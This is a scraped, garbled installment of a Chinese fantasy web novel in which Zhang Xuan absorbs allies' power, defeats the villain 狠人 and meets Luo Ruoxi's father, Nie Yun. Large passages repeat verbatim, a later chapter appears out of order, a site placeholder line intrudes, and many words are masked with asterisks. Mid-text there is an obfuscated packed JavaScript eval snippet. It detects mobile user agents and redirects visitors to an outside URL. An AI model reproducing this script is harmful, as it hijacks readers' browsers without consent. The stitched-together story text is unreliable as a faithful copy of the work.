免疫系统完整,病毒来了,轻易驱赶;坏了,抵抗不住病毒入侵,再强壮的人,也会因此死亡。 只是…… “他太强大了,即便天道恢复完整,也无法**吧!”张悬摇头。 病毒,免疫系统是可以斩杀,但……猛虎呢? 再强的免疫系统,又有什么办法? 眼前这位,只是普通神王,哪怕封号,天道都可以轻易杀死,可比帝君都要强大……已然不是天道可以抗衡的了。 “这……”洛若曦停顿了一下,洁白的玉面上露出失落之色:“是啊……没办法**,但是,天道完整,他就能醒过来,斩杀这位,并不难!” “他?”张悬皱眉。 “我带你去见他,就在自在天……”深吸一口气,洛若曦一咬牙,转身就向前飞去。 “想逃?”狠人冷哼,向下一按。 嘭! 洛若曦从空中坠落。 “你……”张悬剑法再次施展出来,剑意辉煌而出。 叮叮叮! 再次被狠人挡住。 “你们快走,我来挡住他……” 知道他们再想拯救神界的方法,而不是逃走,分身和不死帝尊,一声大喝挡在前面,洛七七也摇身一变,回归静空珠本体。 四周的空间凝固起来。 “走!” 见众人奋不顾身挡在后面,无畏惧死亡,张悬眼眶一红,不过,也知道现在不是多说的时候,一拉洛若曦,身体一晃,划破空间,下一刻已经出现在了自在天的范围。 自在天现在已经没了之前的自在,神界崩塌,四处一片混乱。 “你说的他,在哪里?” 没空去观察普通人的生活,张悬看向怀中的女孩。 如果她说的那人,真能拯救神界,自己牺牲又何妨! “他是我的父亲,你吊坠中的血液,就是他的,不死帝君,曾是他的兽宠……”洛若曦调息了一下,解释道。 “父亲?” 张悬恍然大悟。 难怪一直觉得吊坠中的血液和洛若曦相似,却又不同,原来是她父亲的。 这样也就解释了,为何不死帝君留下的那道意念,看到吊坠后,立刻认自己为主。 “你父亲也是帝君?或者拥有超越帝君的实力?” 忍不住道。 图书馆混乱,是吊坠中的血液,让自己恢复清醒,难不成,不仅她是帝君,父亲也是,甚至更加强大? 如果是这样的话,又为何会昏迷? 又需要天道有缺,才能让其清醒? “他不是帝君,而是……天道!” 洛若曦秀拳捏紧。 “天道?你父亲……是天道?”张悬一震,不敢相信。 “是!五十年前,父亲抵挡不住那只大手,陷入昏迷,天道崩散成三部分,天道有序和天道有缺,进入空间乱流,我代为掌控天道自然,维持神界的平衡。想要让他恢复,只有将散开的部分收集……所以,我才如此决绝,不能失败!才专门进入名师大陆,研究春秋大典,想办法战胜孔师!和孔师战斗的时候,拜托他的事,也是这个。” 洛若曦道。 张悬恍然。 名师大陆刚认识不久,眼前的女孩,就和自己讲述过她的故事,要救一位至亲,自己当时还不明白,现在才恍然大悟。 竟然是她父亲,而且还是神界天道! 天道真的能够化成人形,并且生儿育女吗? “代为掌控天道自然……你体内,没有天道碎片?”突然,意识到她语言中的不对劲,张悬看过来。 代为掌控,和自己这种融合在体内,是两种概念。 “我只是掌控,并不是天道的一部分……”洛若曦道。 张悬松了口气。 这样说起来,只需要自己将天道有缺剥离出来就行了,并不需要她也死亡。 尽管这种命运,不愿意接受,却也不愿意眼前的女孩,受到伤害。 “我将体内的天道有缺剥离出来,你父亲就能活过来,甚至将狠人击杀是吧?”张悬看来。 “这……我也不确定……” 抬头看了看已经崩塌的神界,洛若曦迟疑。 神界是父亲的根基,现在根基都这样了,就算清醒,真的能够将那个强大的狠人击败吗? 真不好说! “看来你也不能肯定,既然如此,求人不如求己……我们只有自己想办法!”张悬咬了咬牙:“你、我、分身,联合九天九帝,如果在配合上孔师,未必不能获胜!” “孔师?他……”洛若曦皱眉。 “孔师已经**是吧!他并未真正死亡,如果猜的没错,他被你斩杀,只是用来脱离天道的方法……不出意外,他应该和魏长风一样,是【先天胎魂体】!” 张悬道。 看到魏长风,就明白过来,孔师所谓的保持灵智,应该和他一样,是先天胎魂体。 可以做到胎中不迷。 再加上提前留下的后手,复活,只是时间问题。 洛若曦愣住,似乎她没想到,会是这样。 “过去看看就知道了,猜的不错,他应该已经恢复,不然,他的那些学生,不可能连潮汐海都没去……”张悬道。 孔师的那些学生,子渊古圣等人,个个实力强劲,就算没有帝君帮助,也必然有办法进入潮汐海,可却一个都没见。 必然是有更重要的事情等着,想要趁所有帝君去潮汐海无暇顾及的时候去做! 而这种重要的事,明显就是让孔师恢复。 “这……”洛若曦心中一震,恍然大悟。 “走吧!” 不再解释,单手一划,张悬重新来到孔师居住的所在,果然看到一个老者盘膝悬浮在空中,见他们来到,微微一笑:“来了!” 不是孔师,又是何人! 这位万世之师,果然没让自己失望! 和猜测的一样,趁着所有人都将注意力集中在潮汐海的时候,重新复活了。 “你……”洛若曦娇躯一震。 她知道帝君可以复活,不死帝君也活过来了,但……没想到速度这么快! “我隐瞒天道,提前就准备了后手,幽魂池中的那个没有名字的巨人,就是我留下的,当日被你斩杀,我借机摆脱了天道的束缚,重新凝聚肉身,现在也刚刚恢复罢了!” 孔师微微一笑。 他精通时间能力,看起来神界只过了一、两天,实际上为了恢复力量,经历了不知多久。 几十年的时光,都有了。 “我们三人的实力,是很强,但想要胜过狠人,也没那么容易……” 见孔师果真恢复,洛若曦依旧摇头。 不是涨他人威风,灭自己志气,而是事实。 刚才这么多人联合,都没挡住对方,即便增加一个孔师,又能如何? 同样改变不了局面! “我们单个的实力,甚至联合在一起,的确不是对方的对手,但……如果将所有人的力量,都融合在一个人的身上呢?” 孔师笑着看过来。 “融合在一个人身上?” 这次不光洛若曦皱眉,张悬也满是疑惑。 “那个手掌能够撕裂神界,将天道都打散,实力之强,不容置疑,狠人将这股力量全部吸收,又吞噬了神界五十年的灵气,单凭实力,我们十几位帝君,单个拿出来,的确不是对手……” 孔师道:“但联合在一起,将力量集中在一人身上……就未必了吧!” “如何集中?” 洛若曦看过来。 说的简单,做起来难。 帝君已经站在神界最巅峰了,如果这么容易吸收别人的力量,她也不至于这么多年,停滞不前。 “很简单……我们将身上的力量,集中在张悬身上,一旦他能冲破帝君桎梏,就能救下神界!” 孔师道。 “我?”张悬一愣:“为什么是我?” “灵犀帝尊修炼的是自由自在,超脱自然!但有了父亲和天道的制约,有了牵挂的人,就永远没办法真正超脱!如果我没看错,当初和我战斗的时候,你也曾放弃过,打算被我斩杀吧!” 孔师道。 洛若曦说不出话来。 战斗的时候,的确有过这种打算,所以二人的交手,刚开始的时候,各自留着后手,宛如切磋,不像生死搏斗。 “无法超脱,自然也就发挥不出最强力量,即便给与再多的真气,同样无法冲击那至高的境界!至于我……” 孔师点头道:“心怀苍生,想要普度天下,却不愿意别人为我牺牲,仁慈太多,也是缺点!如果心狠一些,将异灵族灭族,就不会有现在的局面……” 当初如果能将异灵族人全部灭杀,狠人就不可能复活,也不会有现在的情况。 “所以,我也不适合!而张悬,**顺心,没有缺陷。讲究活出自我,哪怕身死,只要活得无愧,就心中坦荡。这种人拥有更大的包容,更大的发展空间,只有这样,才能走的更高,更远!” 孔师继续道。 生当复来归,死当长相思! 连死亡都不在乎,又怎么会被其他事情所羁绊? “这……”张悬皱眉,正想说些什么,就见孔师目光炯炯的看过来:“不用推辞了,先说时间来不及,去培养其他人,就算来得及,我也觉得未必有人能比你做得更好!灵犀帝尊体内虽没有天道碎片,却常年掌控天道,对天道有着属于自己的理解;我掌控天道有序,如果我们将力量灌输给你,你体内就会拥有完整天道的力量!配合上分身的九天混沌金莲,完全可以做到定九天,掌乾坤,战九霄,灭万物!” “好吧!” 见对方已经做出决定,自己解释再多也无用,张悬点了点头。 轰隆! 盘膝做好,一眨眼功夫,两股雄浑的力量,就从两侧灌涌而来。 张悬全身一僵,整个人仿佛刹那间化身天道,翱翔在九天之上。 灵魂、肉身、真气,都在瞬间得到了洗礼,越来越强,越来越雄浑。 …… “你们也想拦我?也好,杀了你们,再去将张悬斩杀……” 将洛七七和分身等人拍飞,狠人冷冷一笑。 分身和诸多帝君联合施展而出的力量,的确很强大,不过,和他比,依旧弱了一些。 潮汐海将神界出了城市外的灵气,几乎全部吞噬干净,现在这些力量,都化作他的寄养,举手投足,带着毁灭天地的能力,这些帝君、神王,尽管代表了神界最巅峰,依旧不堪一击。 此时的狠人,仿佛代表了整个神界,无人能挡。 “神界灭亡,我们活着也没意义,我云螭,与你同归于尽……” 云螭大帝变化出本体,一头巨大的五爪金龙,凌空向他扑了过去。 “就你?不配!” 狠人手掌一捏,金龙就挂在掌心,无论如何挣扎,都逃脱不掉。 “老友,等我!” 扶猛帝君也一声大吼,变化出白虎本尊,凌空来到跟前。 不死帝君,不死火凤本尊显示出来,火焰照耀天空。 玄冥大帝,本尊乃一头大龟,宛如托举着诸天。 四大神兽,镇守神界四极,同时变化本体,崩塌的神界,都变得缓慢下来。 乾坤仿佛在瞬间定住。 嘭嘭嘭嘭! 连续四掌,狠人将四兽**下来,眼中闪过一道浓烈的杀意:“既然你们找死,我就成全你们……” 咆哮声中,正想下死手将众人全部抹杀,就感到扬起的手臂一紧,在空中停了下来。 “想要杀他们,问过我没有……” 随即,众人震惊的目光中,一个人影从空中缓步走了出来。 正是张悬! 此时的青年,全身力量澎湃,比刚才强大了十倍不止,自天而来,宛如整个人就是一个世界。 “进步了不少……” 狠人停了下来,目光凝重。 他显然也没明白,为何短短几分钟的光景,对方的实力有了如此巨大的变化。 “不过,增加了又如何?全盛期的神界,都抵挡不住,我不信,你能挡得住我……” 一声冷哼,狠人再次拍落而下。 张悬长剑扬起,迎了上来。 双方战斗在一起,空间一道道撕裂,气流四处乱窜。 “张悬能不能获胜?” 自在天孔师驻地,洛若曦满是担忧的看过去。 她和孔师将力量传递给张悬,自身修为,已经降低到只有神王级别,不如之前那么辉煌了。 不过,级别在哪里摆着,只要力量足够,终有一天,可以重新恢复。 “凭借现在的实力,想要胜过……很难!除非……他能领悟超越帝君的力量!” 沉默了片刻,孔师道。 十几个帝君联合,都无法胜过狠人,即便他们将力量全部传递给对方,想要胜过,也没那么容易。 之所以这样做,是因为……力量只有集中在一人身上,才有可能触碰到顶点,才有可能真正超越极限,突破自我! “超越帝君的力量?” 洛若曦眼神悠远。 父亲还清醒的时候,曾和她说过同样的话,但……她无法做到,自己心爱的男子,能够做到吗? “他一定能……他有着一颗不屈的心!和对这个世界的傲然。” 看出她心中的疑问,孔师笑道。 …… 嘭嘭嘭! 连续几招下来,张悬虎口开裂,胸口出现了一道巨大的伤痕,狰狞可怖。 和孔师说的一样,即便融合了他们二人的力量,体内形成了完整的天道,依旧不是对手。 “哈哈,还以为多厉害,不过如此!”狠人冷冷一笑。 “反正不是你的对手,早晚都会**,既然如此,我想死在你最强的攻击之下……”深吸一口气,张悬停了下来,不在进攻,反而看向眼前的狠人。 “好,我成全你,给你最强的攻击……” 听他这样说,狠人愣了一下,随即冷哼一声,手掌扬起。 哗啦! 一道青光出现在掌心,猛地拍落而下。 果然是最强攻击,整个神界都发出轰鸣,宛如快要承受不住,再次被打出一个巨大的坑洞。 双眼紧闭,张悬并未躲避。 嘭! 脑袋炸裂开来,灵魂四处溃散。 “张悬……”看到这一幕,所有人都脸色一白。 洛七七宛如发疯。 云螭大帝等人也瞪大眼睛,不停哆嗦。 看到这一幕的孔师和洛若曦也全都一愣。 本意是让他突破桎梏,冲击超越帝境境界的,怎么不去反抗,甘心赴死? 这样,岂不辜负了他们的一番好心? “不对,是不死帝君的不死之法……” 正在奇怪,孔师突然开口。 众人随即看到,脑袋炸开,甚至灵魂碎裂的张悬,胸口的吊坠陡然炸开,一滴血液悬浮而起,燃烧起来,形成了一团炙热的火焰,火焰中,一具完好无损的身影,缓步而出。 “他……借助对方的力量,和吊坠中的血液,将天道有缺和灵魂分离了?” 洛若曦瞳孔收缩。 浴火重生后的张悬,体内竟然没了天道图书馆,没了天道的干扰,脱离了天道! “他怎么做到的?” 孔师也满是不敢相信。 天道和灵魂融合在一起,不分彼此,为了摆脱,他不得不魂飞魄散,借助幽魂池重新凝聚魂魄。 眼前这位,只被斩杀了一下,就彻底摆脱,用了什么办法? “我知道了……他用了狠人摆脱灵魂契约的办法……”洛若曦反应过来。 灵魂契约绑定主人和仆人,主人不解除,仆人就永远受制……天道图书馆也是这样,可以说是一种增强版的契约。 绑定了灵魂,不死不会脱离。 但……狠人借助那种特殊力量摆脱了灵魂契约,具 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16760179|178327||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 体方法,张悬之前详细询问过,恐怕那时就动了心思。 这才故意拼死,让其施展出最强力量对他攻击。 借助这种力量,浴火重生,没想到,果然大获成功! “原来如此,这才是突破帝君的方法……” 从火焰中走出的张悬,脸上露出淡淡的微笑,像是明白了什么,突然一招手,一侧的分身,立刻重新变成一朵莲花,飞了过来。 刹那间,与自身完美融合。 一眨眼功夫,众人感觉,眼前的张悬,像是变成了九天,九天就是他。 脚掌在地上轻轻一踏。 混乱的九天,立刻稳定下来。 九天混沌金莲,九天诞生时出现,能够稳定九天,此时分身和自我完美融合,不分彼此,也就等于他掌控了这种力量。 不仅如此,融合了九天混沌金莲的修为,他本就达到巅峰的境界,出现了松动,似乎随时都会突破。 “主仆情、兄弟情、师生情、父母情、爱情……融合在一起,原来就是世间万物,这才是人!” 面带微笑,张悬喃喃自语。 天道图书馆脱离灵魂的刹那,他明白过来。 是人看了世界,才有了世界,还是先有世界,后有了人? 是风动,还是心动! 这个问题,亘古不朽的困扰着无数人。 当然,现在……这些都不重要了! 没有生命,没有情感,世界就算存在,又有何意义? 所以,突破爱情之后,是众生情!是交织天下的情感。 世间万物皆有情感,有情才有世界,有情感,才能延续生命。 爱,是情。 憎,是情。 高兴,是情。 痛苦,是情。 离别,是情。 相聚,也是情! “万千情意,为我所用……” 一声低呼,张悬体内禁锢的境界,瞬间破开。 帝君桎梏,突破了! 一瞬间,仿佛触摸到了一个全新的世界和大门,灵魂得到了快速的滋养。 无数混沌之气,涌了过来,肉身也飞速提升。 之前只有吸收灵力,才能进步,而现在空间乱流、混沌之气,哪怕是对方的青光,都可以为我所有,不分彼此。 “你……”狠人没想到,自己的全力攻击,非但没将其斩杀,反而成全了他,气的“哇哇!”乱叫,一声怒喝,再次攻击下来。 “你怨恨高高在上的帝君,没在空间乱流中救下自己,是情;觉得曾是我的仆人,蕴含卑微和愤怒,是情;想要毁灭神界,发泄愤怒,是情;想要变得更加强大,同样是情……情感控制着你,你又如何胜得过我,不被我控制?” 淡淡一笑,张悬的声音越来越快,越来越响亮,手掌轻轻一抓。 原本纵横无敌的狠人,就被无数情感细线,禁锢在一起,束手束脚,无法动弹。 只要有情,就要被他所用,被他控制! “你……” 狠人眼中满是惶恐:“张师,我是你的仆人,不要杀我……我愿意灵魂献祭……” “现在再说这些,已经晚了……”微微一笑,张悬摇了摇头。 掌控天下之情,仆人之类对于他来说,已经没任何意义了。 杀了神级这么多人,伤了自己的女朋友,洛七七以及这么多朋友,今天,又怎么可能宽恕! “不……” 感受到他的果决,狠人瞳孔收缩,话音未结束,立刻感到身上一阵剧烈的疼痛。 嘭! 一刹那间,**开来,化作无数灵气,向神界各处灌涌。 之前,潮汐海吞噬掉的所有力量,此时全部反哺回来,已经枯竭的荒野,重新焕发生机。 “这……” “这样就杀了?” 云螭大帝、不死帝君、玲珑仙子啊等人,全都瞪大了眼睛,不敢相信。 刚才他们和狠人交过手,知道可怕,这么强大的人,竟然随手覆灭,这位张悬……到底达到了何种地步? 难道帝君之上,真的还有另外的境界? “他成功了……” 孔师和洛若曦,松开捏紧的拳头。 “这是天道的一部分,那我现在就归还天道……” 看到刚才从自己体内,被分离出来的“天道有缺”,依旧在空中悬浮,张悬轻轻一笑,屈指一弹。 嗡! 从重生就伴随他的图书馆,轰然镶嵌在神界的天空之上。 大钟般的鸣响,不断崩溃的神界,肉眼可见的缓慢恢复,混乱的气流,也重新聚拢起来。 崩塌的神界,终于停了下来,干枯的灵气,也伴随狠人的死亡,慢慢复苏。 “看来,神界要重新迎接灵气复苏时代了……”张悬一笑。 潮汐海的窟窿,伴随天道的补全,已经恢复,神界恢复以前的盛况,只是时间问题。 “张悬,这边来……” 刚做完这些,脑中响起一个声音,张悬愣了一下,一步跨出。 这一步,不知飞了多远,随即看到一个青年站在面前。 正是之前传授自己剑法的那位。 “前辈,你……” 看到是他,张悬一愣。 之前就觉得这位,深不可测,现在才发现,比起自己,也只差了一丝而已,已然达到了帝君的最巅峰,比起之前的洛若曦,都强大不知多少。 “直呼我名字即可,我叫……聂铜!”青年身上散发出一往无前的剑意,淡淡道。 “聂铜?”张悬皱了皱眉。 第一次听到这个名字。 “跟我来,带你见我哥哥!”叫做聂铜的青年莞尔一笑,向前跨步而出。 张悬紧跟在身后,不知飞了多远,在一个山峰前停了下来。 随即看到了另外一个青年。 容貌比他大不了多少,双眉上扬,给人一种深邃不可看穿之感。 “这实力……”张悬一颤。 眼前这位青年的实力,竟然比他还要强大,同样突破了帝君的桎梏,而且修为更加深远厚重! “在下,聂云!”青年淡淡一笑,看了过来:“也就是……聂灵犀,你口中洛若曦的父亲!” “若曦的父亲?” 张悬一震:“你……是神界天道?” 之前洛若曦说过,自己的父亲,是天道,怎么都想不到,是这样一个年轻人。 “我一气化三清,一部分灵魂,变成了天道!再说,这个世界,是我创造的,说我是天道也无不可!”聂云淡淡一笑。 张悬不敢相信。 神界竟然是眼前这人创造的? 那他的实力,该有多强? “不对,如果神界是你创造的,你又是天道,为何任由狠人肆虐,而不出手……”张悬看过来。 如果不是自己突破,神界极有可能彻底崩塌,为何眼前这人,不管不问? 甚至连女儿的生死,都关心? 没回答他的问题,聂云淡淡的看过来:“你认为……神界之上,还有更加强大的生命吗?” “这……”张悬停顿了一下:“应该有吧……” 虽然没见过,但既然他能修炼到这种境界,或许其他人也可以,甚至更强。 就好像眼前这位。 “我曾怀疑,神界之上会有更强大的生命,所以用尽全力窥视,最终引来了更高世界的反噬……一个手掌破空而下!” 聂云看过来:“当时如果我躲闪,极有可能整个神界都会被抹平,再没有半个生命……所以,挡下了这招,但也因此,化身的天道被**出去。” “这种情况,我想恢复,只是一道意念而已,但……我明白,想要真正超脱神界桎梏,去探索手掌由何而来,神界之外,又有什么……单靠我一人很难做到。所以,想要看看,有没有生命,能够突破帝君桎梏,达到和我平齐的地步!” “所以,就将分散的天道意念,送到最底层的世界……分别赐予原本属于这个世界的灵魂,和一个不属于这个世界的灵魂。而你,最终没让我失望!” 聂云笑道。 “不属于这个世界的灵魂,这样说来,我穿越,也是因为你?”张悬心中一震。 难怪,能够穿越过来,没想到都是眼前这位所为。 “呵呵!”聂云轻轻一笑,道:“本身属于这个世界,就有着对世界的敬畏,想要突破世界桎梏,难度要大得多,我也是心念一动,并没想到,你真的能够成功……” “我……”张悬脸色一红:“如果不是孔师,我根本不可能达到这种地步……” 没有孔师的无私奉献,想要达到现在的境界,根本不可能做到。 “机会我给他了,没把握住而已。和灵犀的比斗,其实就是他突破的最佳机会,可惜,他选择了退避,以为自己留了后手,可以全身而退,实际上却是失去了勇猛精进,面对超越我们的人,如果连这点精神都没有,又如何能够与之抗衡?” 聂云道。 张悬沉默不语。 当时二人的战斗,他都看在眼里,孔师的确在果决上有些欠妥。 也有可能,他不愿意斩杀洛若曦吧。 可惜,就这一念之间,错过了晋级的机会。 “如果孔师获胜,若曦就会死……”片刻后,张悬看过来,眉毛皱起。 难不成,眼前这位连女儿的生死都不管了? “有我在,她不会死……”聂云淡淡一笑:“你现在的实力,和我也差不了多少了,你觉得二人的实力,生死关头,想要救人,能不能做到?” “这……”张悬苦笑。 突破帝君,和帝君,是两个概念,如果他真的愿意出手,的确可以在最后关头将人救下,而且保证,一点伤都受不了。 “灵犀,是我另外一个妻子洛倾城所生,所以她伪装的名字,姓洛……为了能让她相信,不感情用事,到现在一直以为我还陷入昏迷……” 聂云苦笑一声:“我这个爹也算做得够狠了……这样吧,这件事还是你和她解释吧,毕竟,她现在的心思,已经转移到你身上了,我这个老爹,估计都想不起来了……哈哈,我暂时就不出现了,躲避上一段时间再说,不然,真怕她闹得天翻地覆……” 看到眼前这位如此不靠谱的老爹,面皮一抽,张悬只好答应:“好吧……” 不答应也没办法,谁让自己拐走了人家的女儿…… “天道图书馆,是我一道意念所化,是根基,也是桎梏,你能靠自己的能力,突破桎梏,说明了能力和潜力,将来前途无量,我女儿能和你在一起,做父亲的,也算欣慰了。” 正在手打中,请稍等片刻,内容更新后,请重新刷新页面,即可获取最新更新! 第三百八十五章 灵魂契约,契合灵魂,只要自己不解除,哪怕对方手段通天,都无法化解。 就好像不死帝君小黄鸡,之前只是神王,他是帝君,同样没办法解决这种约定。 为了防止这家伙变卦,出现反噬的现象,名师大陆就曾专门定下,即便对方可以脱离天道之册,也无法挣脱灵魂间的约定啊! “灵魂契约,的确无法从识海中**出去,但我融合了连天道都可以化解的特殊气体,将这种契约化解掉,并不难……只要有足够力量,轰击契约所在之处,就能做到!” 狠人道。 灵魂契约,是建立在天道基础上的,特殊力量连神界天道都能化解,化解个灵魂契约,只要处理得当,又有何难? “原来如此……”张悬目光一闪。 “和你说这么多,也算感谢将我带到神界了!” 解释完,狠人不再多说,身上的气息愈发的亘古悠远,身后的黑洞变得更加巨大,显然说话的功夫,又吞噬了不知多少力量,做了滋补。 “张悬,黑洞吞的越多,他的实力越强……” 洛若曦也发现了不对劲,急忙传音过来。 “准备动手吧!”心中疑惑尽消,张悬深吸一口气,手中长剑,陡然扬起:“既然如此,那就手底下见真章吧!” 轰隆! 最强大的剑意,再次施展而出。 生当复来归,死当长相思! 生死皆不在乎,又有何事可以阻拦? 这一招剑法,虽然是没达到帝君领悟的,却蕴含了心中的一切执念,将体内的天若有情**,发挥到了极限。 呼! 一剑将狠人的攻击,斩成两半。 同一时刻,洛若曦也出手了,玉手翻滚,剑芒如雪。 她的剑法和剑神天的那位青年有些相似,带着一往无前的气势,和大道自然的潇洒。 “你们的招数是很厉害,但对比我,还是差了些……” 轻轻一笑,狠人再次向下抓来。 一瞬间,遮天蔽日,手掌将天地都笼罩了,空间碎裂,日月星辰都仿佛要被硬生生打下来。 噗!噗! 张悬和洛若曦同时倒飞而出,人在空中鲜血狂喷。 以二人的实力,竟然抵挡不住! 这家伙到底达到了何种境界? “放肆!”分身大步踏来,每走一步,就有莲花绽放,虚空中带着流水的声音。 远远看去,逼格十足。 炼化九天混沌金莲,他的修为比起张悬,丝毫不弱。 一拳扬起,力量冲上九天。 和狠人对碰,同样倒飞而出,挡不住一招。 张悬捂住额头。 成就帝君了,分身依旧不改装逼的本性…… 这么绚丽的装逼,还不如将力量集中起来,威力更大! “一起出手,不然,他们**,我们都会死……” 小黄鸡一声大喝,赤红的的火焰燃烧,天空都像被点燃。 剩下六大帝君,也各自施展手段。 七位帝君联合,毁天灭地,一方天地在面前都抵挡不住,但对方是吸收了特殊力量的狠人,攻击来到跟前,黑洞陡然变大,眨眼功夫就将力量吞噬干净,紧着着反击而出。 嘭嘭嘭嘭! 七位帝君和张悬等人一样,倒飞而出。 十大帝君,联合在一起,竟然都没挡住对方一招! 这家伙,怎么会这么强大? “你们可以**……” 一招击溃众人,狠人向前一步,手腕一翻,再次拍了下来。 “鼠辈敢尔!” 伴随一声大喝,之前剑神天的那位老者,突兀出现,挡在面前,手中长剑化作银河。 “帝君?他也是帝君实力?” 张悬瞳孔一缩。 这位老者当初跟在青年身后,本以为只是个随从,最多封号神王,施展出力量才发现,竟然也是一位帝君强者! 如果他是帝君,那位青年,是什么? “他本身就是剑神天的帝君……”挣扎站着身来,洛若曦咬牙道。 “那……传我剑法的青年呢?”张悬再也忍不住。 “他是……”洛若曦刚想回答,空间一阵扭曲,随即看到剑神天的这位帝君,同样倒飞了出去,落在不远处,砸出一个大坑。 张悬现在的实力,和对剑道的领悟,远超过他,都抗衡不住,他即便修为不弱,剑术高明,依旧不是对手。 “哈哈,帝君,一群土鸡瓦狗而已!今天我就灭了九天,灭了这神界,将一切规则踏平!” 将剑神天的帝君击败,狠人疯狂大笑,四周的空间不停坍塌,衬托的他如妖如魔。 “怎么办?”张悬拳头捏紧。 刚才他和分身,都施展出最强战斗力了,甚至眼前的洛若曦,也将最强招数使用了出来,都没挡住对方的一招…… 难道神界,真的没人能够挡住眼前这位? 任由他将世界毁灭? “唯一的办法……是将你的天道有缺,回归天道本身,让天道将他**……”洛若曦秀拳捏紧,眼眶泛红。 “回归天道本身?”张悬知道她的意思。 脑海中的图书馆,本身是天道的一部分,一旦回归,天道就等于彻底完整了,或许就可以修复漏洞,自我将狠人排斥出去。 就好像人体的免疫系统。 免疫系统完整,病毒来了,轻易驱赶;坏了,抵抗不住病毒入侵,再强壮的人,也会因此死亡。 只是…… “他太强大了,即便天道恢复完整,也无法**吧!”张悬摇头。 病毒,免疫系统是可以斩杀,但……猛虎呢? 再强的免疫系统,又有什么办法? 眼前这位,只是普通神王,哪怕封号,天道都可以轻易杀死,可比帝君都要强大……已然不是天道可以抗衡的了。 “这……”洛若曦停顿了一下,洁白的玉面上露出失落之色:“是啊……没办法**,但是,天道完整,他就能醒过来,斩杀这位,并不难!” “他?”张悬皱眉。 “我带你去见他,就在自在天……”深吸一口气,洛若曦一咬牙,转身就向前飞去。 “想逃?”狠人冷哼,向下一按。 嘭! 洛若曦从空中坠落。 “你……”张悬剑法再次施展出来,剑意辉煌而出。 叮叮叮! 再次被狠人挡住。 “你们快走,我来挡住他……” 知道他们再想拯救神界的方法,而不是逃走,分身和不死帝尊,一声大喝挡在前面,洛七七也摇身一变,回归静空珠本体。 四周的空间凝固起来。 “走!” 见众人奋不顾身挡在后面,无畏惧死亡,张悬眼眶一红,不过,也知道现在不是多说的时候,一拉洛若曦,身体一晃,划破空间,下一刻已经出现在了自在天的范围。 自在天现在已经没了之前的自在,神界崩塌,四处一片混乱。 “你说的他,在哪里?” 没空去观察普通人的生活,张悬看向怀中的女孩。 如果她说的那人,真能拯救神界,自己牺牲又何妨! “他是我的父亲,你吊坠中的血液,就是他的,不死帝君,曾是他的兽宠……”洛若曦调息了一下,解释道。 “父亲?” 张悬恍然大悟。 难怪一直觉得吊坠中的血液和洛若曦相似,却又不同,原来是她父亲的。 这样也就解释了,为何不死帝君留下的那道意念,看到吊坠后,立刻认自己为主。 “你父亲也是帝君?或者拥有超越帝君的实力?” 忍不住道。 图书馆混乱,是吊坠中的血液,让自己恢复清醒,难不成,不仅她是帝君,父亲也是,甚至更加强大? 如果是这样的话,又为何会昏迷? 又需要天道有缺,才能让其清醒? “他不是帝君,而是……天道!” 洛若曦秀拳捏紧。 “天道?你父亲……是天道?”张悬一震,不敢相信。 “是!五十年前,父亲抵挡不住那只大手,陷入昏迷,天道崩散成三部分,天道有序和天道有缺,进入空间乱流,我代为掌控天道自然,维持神界的平衡。想要让他恢复,只有将散开的部分收集……所以,我才如此决绝,不能失败!才专门进入名师大陆,研究春秋大典,想办法战胜孔师!和孔师战斗的时候,拜托他的事,也是这个。” 洛若曦道。 张悬恍然。 名师大陆刚认识不久,眼前的女孩,就和自己讲述过她的故事,要救一位至亲,自己当时还不明白,现在才恍然大悟。 竟然是她父亲,而且还是神界天道! 天道真的能够化成人形,并且生儿育女吗? “代为掌控天道自然……你体内,没有天道碎片?”突然,意识到她语言中的不对劲,张悬看过来。 代为掌控,和自己这种融合在体内,是两种概念。 “我只是掌控,并不是天道的一部分……”洛若曦道。 张悬松了口气。 这样说起来,只需要自己将天道有缺剥离出来就行了,并不需要她也死亡。 尽管这种命运,不愿意接受,却也不愿意眼前的女孩,受到伤害。 “我将体内的天道有缺剥离出来,你父亲就能活过来,甚至将狠人击杀是吧?”张悬看来。 “这……我也不确定……” 抬头看了看已经崩塌的神界,洛若曦迟疑。 神界是父亲的根基,现在根基都这样了,就算清醒,真的能够将那个强大的狠人击败吗? 真不好说! “看来你也不能肯定,既然如此,求人不如求己……我们只有自己想办法!”张悬咬了咬牙:“你、我、分身,联合九天九帝,如果在配合上孔师,未必不能获胜!” “孔师?他……”洛若曦皱眉。 “孔师已经**是吧!他并未真正死亡,如果猜的没错,他被你斩杀,只是用来脱离天道的方法……不出意外,他应该和魏长风一样,是【先天胎魂体】!” 张悬道。 看到魏长风,就明白过来,孔师所谓的保持灵智,应该和他一样,是先天胎魂体。 可以做到胎中不迷。 再加上提前留下的后手,复活,只是时间问题。 洛若曦愣住,似乎她没想到,会是这样。 “过去看看就知道了,猜的不错,他应该已经恢复,不然,他的那些学生,不可能连潮汐海都没去……”张悬道。 孔师的那些学生,子渊古圣等人,个个实力强劲,就算没有帝君帮助,也必然有办法进入潮汐海,可却一个都没见。 必然是有更重要的事情等着,想要趁所有帝君去潮汐海无暇顾及的时候去做! 而这种重要的事,明显就是让孔师恢复。 “这……”洛若曦心中一震,恍然大悟。 “走吧!” 不再解释,单手一划,张悬重新来到孔师居住的所在,果然看到一个老者盘膝悬浮在空中,见他们来到,微微一笑:“来了!” 不是孔师,又是何人! 这位万世之师,果然没让自己失望! 和猜测的一样,趁着所有人都将注意力集中在潮汐海的时候,重新复活了。 “你……”洛若曦娇躯一震。 她知道帝君可以复活,不死帝君也活过来了,但……没想到速度这么快! “我隐瞒天道,提前就准备了后手,幽魂池中的那个没有名字的巨人,就是我留下的,当日被你斩杀,我借机摆脱了天道的束缚,重新凝聚肉身,现在也刚刚恢复罢了!” 孔师微微一笑。 他精通时间能力,看起来神界只过了一、两天,实际上为了恢复力量,经历了不知多久。 几十年的时光,都有了。 “我们三人的实力,是很强,但想要胜过狠人,也没那么容易……” 